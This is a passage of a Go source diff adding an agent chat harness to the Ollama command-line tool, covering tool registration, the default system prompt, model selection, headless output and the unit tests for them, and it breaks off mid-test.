opts.ContextWindowTokens = contextWindowTokensForRun(cmd.Context(), client, opts.Model, opts.ContextWindowTokens)
approval := coreagent.ApprovalHandler(coreagent.NewApprovalManager(coreagent.ApprovalManagerOptions{}))
if opts.AutoApproveTools {
approval = coreagent.AutoAllowApproval{}
}
messages := slices.Clone(opts.LoadedMessages)
messages = append(messages, resumedMessages...)
messages = append(messages, opts.Messages...)
return &agentRunSetup{
opts: opts,
client: client,
cwd: cwd,
store: store,
newChatID: newChatID,
chatID: chatID,
messages: messages,
skills: skillCatalog,
registry: registry,
approval: approval,
}, nil
}
func resumeAgentChat(ctx context.Context, store *chatstore.Store, modelName string, latestWithoutModel bool) (*chatstore.Chat, error) {
if latestWithoutModel && modelName == "" {
return store.LatestChat(ctx)
}
return store.LatestChatForModel(ctx, modelName)
}
func GenerateAgentTUI(cmd *cobra.Command, opts AgentTUIOptions) error {
setup, err := newAgentRunSetup(cmd, opts, false)
if err != nil {
return err
}
defer setup.close()
opts = setup.opts
traceSink, err := coreagent.NewJSONLTraceSinkFromEnv()
if err != nil {
return err
}
if traceSink != nil {
defer traceSink.Close()
}
_, err = tui.RunAgentChat(cmd.Context(), tui.ChatOptions{
Model: opts.Model,
ChatID: setup.chatID,
Messages: setup.messages,
Client: setup.client,
Store: setup.store,
Tools: setup.registry,
ToolRegistryForModel: func(ctx context.Context, model string) *coreagent.Registry {
return agentToolsRegistry(ctx, setup.client, model, setup.skills)
},
ModelOptions: func(ctx context.Context) ([]tui.ChatModelOption, error) {
return agentModelOptions(ctx, setup.client)
},
OnModelSelected: func(_ context.Context, model string) error {
return config.SetLastModel(model)
},
SystemPromptForModel: func(_ context.Context, model string, registry *coreagent.Registry) string {
return agentSystemPrompt(model, setup.skills, registry != nil && registry.Has("skill"), "")
},
Approval: setup.approval,
EventSink: traceSink,
AutoApproveTools: opts.AutoApproveTools,
Skills: setup.skills,
SystemPrompt: agentSystemPrompt(opts.Model, setup.skills, setup.registry != nil && setup.registry.Has("skill"), ""),
WorkingDir: setup.cwd,
Format: opts.Format,
Options: opts.Options,
Think: opts.Think,
KeepAlive: opts.KeepAlive,
Images: slices.Clone(opts.Images),
MultiModal: opts.MultiModal,
HideThinking: opts.HideThinking,
Verbose: opts.Verbose,
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
ContextWindowTokens: opts.ContextWindowTokens,
}),
ContextWindowTokens: opts.ContextWindowTokens,
ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
return contextWindowTokensForRun(ctx, setup.client, model, fallback)
},
PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) error {
preloadOpts := opts
preloadOpts.Think = think
return preloadAgentModelIfLocal(ctx, setup.client, preloadOpts, model)
},
NewChat: setup.newChatID,
})
if err != nil {
return err
}
return nil
}
func GenerateAgentHeadless(cmd *cobra.Command, opts AgentTUIOptions) error {
if strings.TrimSpace(opts.Prompt) == "" {
return errors.New("agent headless mode requires a prompt or stdin")
}
setup, err := newAgentRunSetup(cmd, opts, true)
if err != nil {
return err
}
defer setup.close()
opts = setup.opts
if opts.Model == "" {
return errors.New("model is required")
}
prompt := opts.Prompt
images := slices.Clone(opts.Images)
if opts.MultiModal {
var err error
prompt, images, err = extractFileData(prompt)
if err != nil {
return err
}
}
systemPrompt := agentSystemPrompt(opts.Model, setup.skills, setup.registry != nil && setup.registry.Has("skill"), "")
newMessages := []api.Message{{Role: "user", Content: prompt, Images: images}}
if strings.TrimSpace(opts.Skill) == "" {
if skill, request, ok := skillFromPrompt(setup.skills, prompt); ok {
opts.Skill = skill.Name
prompt = request
}
}
if strings.TrimSpace(opts.Skill) != "" {
skill, ok := setup.skills.Find(opts.Skill)
if !ok {
return fmt.Errorf("unknown skill: %s", opts.Skill)
}
manualMessages, err := agenttools.ManualSkillMessages(skill, prompt, len(setup.messages)+1)
if err != nil {
return err
}
manualMessages[0].Images = images
newMessages = manualMessages
}
runCtx, cancel := context.WithCancel(cmd.Context())
defer cancel()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT)
defer signal.Stop(sigChan)
go func() {
select {
case <-sigChan:
cancel()
case <-runCtx.Done():
}
}()
headlessSink := &agentHeadlessEventSink{}
eventSink := coreagent.EventSink(headlessSink)
traceSink, err := coreagent.NewJSONLTraceSinkFromEnv()
if err != nil {
return err
}
if traceSink != nil {
defer traceSink.Close()
eventSink = coreagent.MultiEventSink{eventSink, traceSink}
}
session := &coreagent.Session{
Client: setup.client,
Store: setup.store,
Events: eventSink,
Tools: setup.registry,
Approval: setup.approval,
WorkingDir: setup.cwd,
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
ContextWindowTokens: opts.ContextWindowTokens,
}),
}
result, err := session.Run(runCtx, coreagent.RunOptions{
ChatID: setup.chatID,
Model: opts.Model,
SystemPrompt: systemPrompt,
Messages: setup.messages,
NewMessages: newMessages,
Format: opts.Format,
Options: opts.Options,
Think: opts.Think,
KeepAlive: opts.KeepAlive,
UseTools: setup.registry != nil,
})
if err != nil {
return err
}
if headlessSink.wroteContent {
fmt.Fprintln(os.Stdout)
}
verbose := opts.Verbose
if cmd != nil && cmd.Flags().Lookup("verbose") != nil {
flagVerbose, err := cmd.Flags().GetBool("verbose")
if err != nil {
return err
}
verbose = verbose || flagVerbose
}
if verbose {
result.Latest.Summary()
}
return nil
}
func skillFromPrompt(catalog *skills.Catalog, prompt string) (skills.Skill, string, bool) {
if catalog == nil || catalog.Empty() {
return skills.Skill{}, "", false
}
prompt = strings.TrimSpace(prompt)
if !strings.HasPrefix(prompt, "/") {
return skills.Skill{}, "", false
}
command, rest, _ := strings.Cut(prompt, " ")
skill, ok := catalog.Find(command)
return skill, strings.TrimSpace(rest), ok
}
type agentHeadlessEventSink struct {
wroteContent bool
}
func (s *agentHeadlessEventSink) Emit(event coreagent.Event) error {
switch event.Type {
case coreagent.EventMessageDelta:
if event.Content != "" {
fmt.Fprint(os.Stdout, event.Content)
s.wroteContent = true
}
case coreagent.EventToolStarted:
fmt.Fprintf(os.Stderr, "• %s in progress\n", agentHeadlessToolLabel(event.ToolName, event.Args))
case coreagent.EventToolFinished:
status := "done"
if event.Error != "" {
status = "failed"
}
fmt.Fprintf(os.Stderr, "• %s %s\n", agentHeadlessToolLabel(event.ToolName, event.Args), status)
case coreagent.EventToolsUnavailable:
fmt.Fprintln(os.Stderr, "Tools are unavailable for this model.")
case coreagent.EventCompactionSkipped:
if event.Content != "" {
fmt.Fprintf(os.Stderr, "%s\n", event.Content)
}
case coreagent.EventError:
if event.Error != "" {
fmt.Fprintf(os.Stderr, "error: %s\n", event.Error)
}
}
return nil
}
func agentHeadlessToolLabel(name string, args map[string]any) string {
displayName := name
switch name {
case "web_search":
displayName = "Web Search"
case "web_fetch":
displayName = "Web Fetch"
case "bash":
displayName = "Bash"
case "read":
displayName = "Read"
case "edit":
displayName = "Edit"
}
for _, key := range []string{"query", "url", "command", "path"} {
if value, ok := args[key].(string); ok && strings.TrimSpace(value) != "" {
return fmt.Sprintf("%s(%s)", displayName, strconv.Quote(value))
}
}
return displayName
}
func loadAgentSkills() *skills.Catalog {
catalog, err := skills.LoadDefault()
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load skills: %v\n", err)
return nil
}
for _, warning := range catalog.Warnings {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m skill ignored: %s\n", warning)
}
return catalog
}
func agentSystemPrompt(modelName string, catalog *skills.Catalog, skillToolAvailable bool, extra string) string {
return agentSystemPromptAt(time.Now(), modelName, catalog, skillToolAvailable, extra)
}
func agentSystemPromptAt(now time.Time, modelName string, catalog *skills.Catalog, skillToolAvailable bool, extra string) string {
var parts []string
parts = append(parts, agentDefaultSystemPrompt(now, modelName))
if catalogPrompt := catalog.SystemPrompt(skillToolAvailable); strings.TrimSpace(catalogPrompt) != "" {
parts = append(parts, catalogPrompt)
}
if strings.TrimSpace(extra) != "" {
parts = append(parts, strings.TrimSpace(extra))
}
return strings.Join(parts, "\n\n")
}
func agentDefaultSystemPrompt(now time.Time, modelName string) string {
date := now.Format("Monday, January 2, 2006")
return strings.Join([]string{
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
"",
"Current date: " + date + ".",
"",
"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
"",
"Use bash carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
"",
"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
}, "\n")
}
func agentModelOptions(ctx context.Context, client *api.Client) ([]tui.ChatModelOption, error) {
if client == nil {
return nil, errors.New("model picker requires an API client")
}
list, err := client.List(ctx)
if err != nil {
return nil, err
}
seen := make(map[string]struct{})
var options []tui.ChatModelOption
add := func(name, description string, recommended bool) {
name = strings.TrimSpace(name)
if name == "" {
return
}
key := strings.ToLower(name)
if _, ok := seen[key]; ok {
return
}
seen[key] = struct{}{}
options = append(options, tui.ChatModelOption{Name: name, Description: strings.TrimSpace(description), Recommended: recommended})
}
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
for _, rec := range recs.Recommendations {
name := strings.TrimSpace(rec.Model)
if !modelref.HasExplicitCloudSource(name) {
continue
}
add(name, agentRecommendationDescription(rec), true)
}
}
}
local := slices.Clone(list.Models)
slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
})
for _, model := range local {
name := strings.TrimSpace(model.Name)
if name == "" {
name = strings.TrimSpace(model.Model)
}
name = strings.TrimSuffix(name, ":latest")
add(name, agentLocalModelDescription(model), false)
}
return options, nil
}
func agentRecommendationDescription(rec api.ModelRecommendation) string {
var parts []string
if description := strings.TrimSpace(rec.Description); description != "" {
parts = append(parts, description)
} else {
parts = append(parts, "cloud")
}
if rec.ContextLength > 0 {
parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
}
return strings.Join(parts, " · ")
}
func agentLocalModelDescription(model api.ListModelResponse) string {
parts := []string{"local"}
if model.Details.Family != "" {
parts = append(parts, model.Details.Family)
}
if model.Details.ParameterSize != "" {
parts = append(parts, model.Details.ParameterSize)
}
if model.Details.QuantizationLevel != "" {
parts = append(parts, model.Details.QuantizationLevel)
}
if model.Details.ContextLength > 0 {
parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
}
if model.Size > 0 {
parts = append(parts, format.HumanBytes(model.Size))
}
return strings.Join(parts, " · ")
}
func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, catalog *skills.Catalog) *coreagent.Registry {
supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
}
if !supportsTools {
return nil
}
registry := coreagent.NewRegistry()
if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" {
registry.Register(agenttools.NewBash())
}
registry.Register(agenttools.NewRead())
registry.Register(agenttools.NewEdit())
if !catalog.Empty() {
registry.Register(agenttools.NewSkill(catalog))
}
if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
registry.Register(agenttools.NewWebSearch())
registry.Register(agenttools.NewWebFetch())
} else {
fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
}
}
return registry
}
func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts AgentTUIOptions, modelName string) error {
modelName = strings.TrimSpace(modelName)
if client == nil || modelName == "" {
return nil
}
info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return err
}
if info.RemoteHost != "" || modelref.HasExplicitCloudSource(modelName) {
return nil
}
return preloadLocalModel(ctx, client, runOptions{
Model: modelName,
KeepAlive: opts.KeepAlive,
Think: opts.Think,
})
}
func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return false, err
}
return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
}
func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
if internalcloud.Disabled() {
return true, true
}
status, err := client.CloudStatusExperimental(ctx)
if err != nil {
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
return false, false
}
return false, false
}
return status.Cloud.Disabled, true
}
+292
View File
@@ -0,0 +1,292 @@
package cmd
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"net/url"
"slices"
"strings"
"testing"
"time"
"github.com/ollama/ollama/agent/skills"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/tui"
"github.com/ollama/ollama/envconfig"
modelpkg "github.com/ollama/ollama/types/model"
)
func setAgentTUITestCloudEnabled(t *testing.T) {
t.Helper()
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
t.Setenv("OLLAMA_NO_CLOUD", "")
envconfig.ReloadServerConfig()
}
func TestAgentSystemPromptIncludesModel(t *testing.T) {
prompt := agentSystemPromptAt(time.Date(2026, time.June, 12, 9, 30, 0, 0, time.UTC), "llama3.2", nil, false, "")
for _, want := range []string{
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is llama3.2.",
"Current date: Friday, June 12, 2026.",
"Be concise, practical, and action-oriented.",
"Use bash carefully.",
"Tell the user about meaningful changes",
} {
if !strings.Contains(prompt, want) {
t.Fatalf("prompt missing %q:\n%s", want, prompt)
}
}
}
func TestAgentToolsRegistryNoCloudDisablesWebTools(t *testing.T) {
t.Setenv("OLLAMA_NO_CLOUD", "1")
t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "")
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "")
statusCalls := 0
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
_ = json.NewEncoder(w).Encode(api.ShowResponse{
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
})
case "/api/status":
statusCalls++
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", nil)
if registry == nil {
t.Fatal("registry = nil, want local tools")
}
if !registry.Has("bash") || !registry.Has("read") || !registry.Has("edit") {
t.Fatalf("local tools missing: %v", registry.Names())
}
if registry.Has("list") {
t.Fatalf("list tool should not be registered; got %v", registry.Names())
}
if registry.Has("web_search") || registry.Has("web_fetch") {
t.Fatalf("web tools should be disabled when OLLAMA_NO_CLOUD is set: %v", registry.Names())
}
if statusCalls != 0 {
t.Fatalf("/api/status calls = %d, want local no-cloud short-circuit", statusCalls)
}
}
func TestAgentToolsRegistryRegistersSkillTool(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
_ = json.NewEncoder(w).Encode(api.ShowResponse{
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
})
case "/api/status":
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
catalog := &skills.Catalog{Skills: []skills.Skill{{Name: "go-code", Description: "Write Go code."}}}
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", catalog)
if registry == nil || !registry.Has("skill") {
t.Fatalf("registry missing skill tool: %#v", registry)
}
}
func TestAgentModelOptionsIncludesCloudRecommendationsAndLocalModels(t *testing.T) {
setAgentTUITestCloudEnabled(t)
var recommendationsCalled bool
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/tags":
_ = json.NewEncoder(w).Encode(api.ListResponse{
Models: []api.ListModelResponse{{
Name: "llama3.2:latest",
Details: api.ModelDetails{
Family: "llama",
ParameterSize: "3B",
QuantizationLevel: "Q4_K_M",
ContextLength: 131072,
},
Size: 2_000_000_000,
}},
})
case "/api/status":
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
case "/api/experimental/model-recommendations":
recommendationsCalled = true
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
Recommendations: []api.ModelRecommendation{
{Model: "qwen3.5:cloud", Description: "cloud reasoning", ContextLength: 262144, RequiredPlan: "pro"},
{Model: "gemma4", Description: "local recommendation should be ignored"},
},
})
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
if err != nil {
t.Fatal(err)
}
if !recommendationsCalled {
t.Fatal("expected recommendations endpoint to be called")
}
if got, want := modelOptionNames(options), []string{"qwen3.5:cloud", "llama3.2"}; !slices.Equal(got, want) {
t.Fatalf("model options = %#v, want %#v", got, want)
}
if options[0].Description == "" || options[1].Description == "" {
t.Fatalf("expected descriptions for model options: %#v", options)
}
if !options[0].Recommended || options[1].Recommended {
t.Fatalf("recommended flags = %#v, want only cloud recommendation marked", options)
}
if strings.Contains(options[0].Description, "plan") || strings.Contains(options[0].Description, "pro") {
t.Fatalf("recommendation description should not include plan type: %q", options[0].Description)
}
}
func TestAgentModelOptionsNoCloudSkipsCloudRecommendations(t *testing.T) {
t.Setenv("OLLAMA_NO_CLOUD", "1")
var recommendationsCalled bool
var statusCalled bool
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/tags":
_ = json.NewEncoder(w).Encode(api.ListResponse{
Models: []api.ListModelResponse{{Name: "llama3.2:latest"}},
})
case "/api/status":
statusCalled = true
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
case "/api/experimental/model-recommendations":
recommendationsCalled = true
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
Recommendations: []api.ModelRecommendation{{Model: "qwen3.5:cloud"}},
})
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
if err != nil {
t.Fatal(err)
}
if recommendationsCalled {
t.Fatal("recommendations endpoint should not be called when no-cloud is set")
}
if statusCalled {
t.Fatal("status endpoint should not be called when local no-cloud short-circuits")
}
if got, want := modelOptionNames(options), []string{"llama3.2"}; !slices.Equal(got, want) {
t.Fatalf("model options = %#v, want %#v", got, want)
}
}
func TestPreloadAgentModelIfLocalLoadsLocalModel(t *testing.T) {
var generateReq api.GenerateRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
_ = json.NewEncoder(w).Encode(api.ShowResponse{})
case "/api/generate":
if err := json.NewDecoder(r.Body).Decode(&generateReq); err != nil {
t.Fatal(err)
}
_ = json.NewEncoder(w).Encode(api.GenerateResponse{Done: true})
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
keepAlive := api.Duration{Duration: 5 * time.Minute}
think := &api.ThinkValue{Value: "low"}
err = preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{
KeepAlive: &keepAlive,
Think: think,
}, "llama3.2")
if err != nil {
t.Fatal(err)
}
if generateReq.Model != "llama3.2" {
t.Fatalf("generate model = %q, want llama3.2", generateReq.Model)
}
if generateReq.KeepAlive == nil || generateReq.KeepAlive.Duration != 5*time.Minute {
t.Fatalf("generate keepalive = %#v, want 5m", generateReq.KeepAlive)
}
if generateReq.Think == nil || generateReq.Think.String() != "low" {
t.Fatalf("generate think = %#v, want low", generateReq.Think)
}
}
func TestPreloadAgentModelIfLocalSkipsCloudModel(t *testing.T) {
generateCalled := false
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
_ = json.NewEncoder(w).Encode(api.ShowResponse{RemoteHost: "https://ollama.com"})
case "/api/generate":
generateCalled = true
t.Fatal("cloud model should not be preloaded with generate")
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
baseURL, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
if err := preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{}, "kimi-k2:cloud"); err != nil {
t.Fatal(err)
}
if generateCalled {
t.Fatal("generate was called for cloud model")
}
}
func modelOptionNames(options []tui.ChatModelOption) []string {
names := make([]string, 0, len(options))
for _, option := range options {
names = append(names, option.Name)
}
return names
}
+925 -538
View File
File diff suppressed because it is too large. Load diff
+328 -17
View File
@@ -2,6 +2,9 @@ package cmd
import (
"context"
"errors"
"net/http"
"net/http/httptest"
"testing"
"github.com/spf13/cobra"
@@ -9,12 +12,14 @@ import (
"github.com/ollama/ollama/cmd/config"
"github.com/ollama/ollama/cmd/launch"
"github.com/ollama/ollama/cmd/tui"
"github.com/ollama/ollama/envconfig"
)
func setCmdTestHome(t *testing.T, dir string) {
t.Helper()
t.Setenv("HOME", dir)
t.Setenv("USERPROFILE", dir)
envconfig.ReloadServerConfig()
}
func unexpectedRunModelResolution(t *testing.T) func(context.Context, launch.RunModelRequest) (string, error) {
@@ -41,6 +46,277 @@ func unexpectedModelLaunch(t *testing.T) func(*cobra.Command, string) error {
}
}
func TestRunAgentModelPickerUsesSavedModelWhenAvailable(t *testing.T) {
setCmdTestHome(t, t.TempDir())
if err := config.SetAgentSignInPromptSeen(true); err != nil {
t.Fatal(err)
}
var gotReq launch.RunModelRequest
var launched string
prefetchedAccount := &launch.AccountState{}
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
deps := agentModelPickerDeps{
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
gotReq = req
return "qwen3:8b", nil
},
runModel: func(cmd *cobra.Command, model string) error {
launched = model
return nil
},
accountState: func() *launch.AccountState {
return prefetchedAccount
},
accountStateUpdates: accountUpdates,
}
cmd := &cobra.Command{}
cmd.SetContext(context.Background())
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
}
if gotReq.ForcePicker {
t.Fatal("expected root agent flow to reuse a saved model when available")
}
if gotReq.AccountState != prefetchedAccount {
t.Fatal("expected prefetched account state to be passed to model picker")
}
if gotReq.AccountStateProvider == nil || gotReq.AccountStateUpdates == nil {
t.Fatal("expected account state callbacks to be passed to model picker")
}
if launched != "qwen3:8b" {
t.Fatalf("launched model = %q, want qwen3:8b", launched)
}
}
func TestRunAgentModelPickerFallsBackToPickerWhenPlanVerificationFails(t *testing.T) {
setCmdTestHome(t, t.TempDir())
var requests []launch.RunModelRequest
var launched string
deps := agentModelPickerDeps{
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
requests = append(requests, req)
if len(requests) == 1 {
return "", launch.ErrPlanVerificationUnavailable
}
return "llama3.2", nil
},
runModel: func(cmd *cobra.Command, model string) error {
launched = model
return nil
},
accountState: func() *launch.AccountState {
return &launch.AccountState{}
},
}
cmd := &cobra.Command{}
cmd.SetContext(context.Background())
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
}
if len(requests) != 2 {
t.Fatalf("resolve calls = %d, want 2", len(requests))
}
if requests[0].ForcePicker {
t.Fatal("first request should try the saved model path")
}
if !requests[1].ForcePicker {
t.Fatal("second request should force the model picker")
}
if requests[1].AccountStateProvider != nil {
t.Fatal("retry should not keep using the stale account-state provider")
}
if requests[1].AccountState == nil {
t.Fatal("retry should pass an explicit unknown account state")
}
if launched != "llama3.2" {
t.Fatalf("launched model = %q, want llama3.2", launched)
}
}
func TestRunAgentModelPickerReturnsPlanVerificationErrorWhenPickerRetryFails(t *testing.T) {
setCmdTestHome(t, t.TempDir())
var calls int
deps := agentModelPickerDeps{
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
calls++
return "", launch.ErrPlanVerificationUnavailable
},
runModel: unexpectedModelLaunch(t),
}
cmd := &cobra.Command{}
cmd.SetContext(context.Background())
err := runAgentModelPickerWithDeps(cmd, deps)
if !errors.Is(err, launch.ErrPlanVerificationUnavailable) {
t.Fatalf("error = %v, want ErrPlanVerificationUnavailable", err)
}
if calls != 2 {
t.Fatalf("resolve calls = %d, want 2", calls)
}
}
func TestMaybeRunAgentOnboarding(t *testing.T) {
t.Run("prompts once and saves seen state", func(t *testing.T) {
setCmdTestHome(t, t.TempDir())
oldPrompt := agentOnboardingPrompt
oldSignedIn := agentOnboardingSignedInStatus
t.Cleanup(func() {
agentOnboardingPrompt = oldPrompt
agentOnboardingSignedInStatus = oldSignedIn
})
var prompts int
agentOnboardingPrompt = func() (bool, error) {
prompts++
return false, nil
}
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
return false, true
}
signIn, err := maybeRunAgentOnboarding(context.Background())
if err != nil {
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
}
if signIn {
t.Fatal("signIn = true, want false")
}
if prompts != 1 {
t.Fatalf("prompts = %d, want 1", prompts)
}
if !config.AgentSignInPromptSeen() {
t.Fatal("expected onboarding state to be saved")
}
signIn, err = maybeRunAgentOnboarding(context.Background())
if err != nil {
t.Fatalf("second maybeRunAgentOnboarding error: %v", err)
}
if signIn {
t.Fatal("second signIn = true, want false")
}
if prompts != 1 {
t.Fatalf("prompt should not run again, prompts = %d", prompts)
}
})
t.Run("skips prompt when already signed in", func(t *testing.T) {
setCmdTestHome(t, t.TempDir())
oldPrompt := agentOnboardingPrompt
oldSignedIn := agentOnboardingSignedInStatus
t.Cleanup(func() {
agentOnboardingPrompt = oldPrompt
agentOnboardingSignedInStatus = oldSignedIn
})
var prompts int
agentOnboardingPrompt = func() (bool, error) {
prompts++
return false, nil
}
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
return true, true
}
signIn, err := maybeRunAgentOnboarding(context.Background())
if err != nil {
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
}
if signIn {
t.Fatal("signIn = true, want false")
}
if prompts != 0 {
t.Fatalf("prompts = %d, want 0", prompts)
}
if !config.AgentSignInPromptSeen() {
t.Fatal("expected onboarding state to be saved")
}
})
t.Run("skips prompt when signed-in check is unknown", func(t *testing.T) {
setCmdTestHome(t, t.TempDir())
oldPrompt := agentOnboardingPrompt
oldSignedIn := agentOnboardingSignedInStatus
t.Cleanup(func() {
agentOnboardingPrompt = oldPrompt
agentOnboardingSignedInStatus = oldSignedIn
})
var prompts int
agentOnboardingPrompt = func() (bool, error) {
prompts++
return false, nil
}
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
return false, false
}
signIn, err := maybeRunAgentOnboarding(context.Background())
if err != nil {
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
}
if signIn {
t.Fatal("signIn = true, want false")
}
if prompts != 0 {
t.Fatalf("prompts = %d, want 0", prompts)
}
if config.AgentSignInPromptSeen() {
t.Fatal("unknown auth state should not save onboarding state")
}
})
t.Run("cancel does not save seen state", func(t *testing.T) {
setCmdTestHome(t, t.TempDir())
oldPrompt := agentOnboardingPrompt
oldSignedIn := agentOnboardingSignedInStatus
t.Cleanup(func() {
agentOnboardingPrompt = oldPrompt
agentOnboardingSignedInStatus = oldSignedIn
})
agentOnboardingPrompt = func() (bool, error) {
return false, tui.ErrCancelled
}
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
return false, true
}
_, err := maybeRunAgentOnboarding(context.Background())
if !errors.Is(err, launch.ErrCancelled) {
t.Fatalf("error = %v, want launch.ErrCancelled", err)
}
if config.AgentSignInPromptSeen() {
t.Fatal("cancel should not save onboarding state")
}
})
}
func TestRunAgentOnboardingSignInEmptyWhoamiDoesNotSilentlySucceed(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/me" {
http.NotFound(w, r)
return
}
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{}`))
}))
defer server.Close()
t.Setenv("OLLAMA_HOST", server.URL)
err := runAgentOnboardingSignIn(context.Background())
if !errors.Is(err, errAgentOnboardingNotSignedIn) {
t.Fatalf("error = %v, want errAgentOnboardingNotSignedIn", err)
}
}
func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
tests := []struct {
name string
@@ -76,11 +352,18 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
var gotReq launch.RunModelRequest
var launched string
prefetchedAccount := &launch.AccountState{}
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
deps := launcherDeps{
buildState: func(ctx context.Context) (*launch.LauncherState, error) {
return &launch.LauncherState{}, nil
},
runMenu: runMenu,
runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
if state.AccountState != prefetchedAccount {
t.Fatalf("prefetched account state was not piped to menu state")
}
return runMenu(state)
},
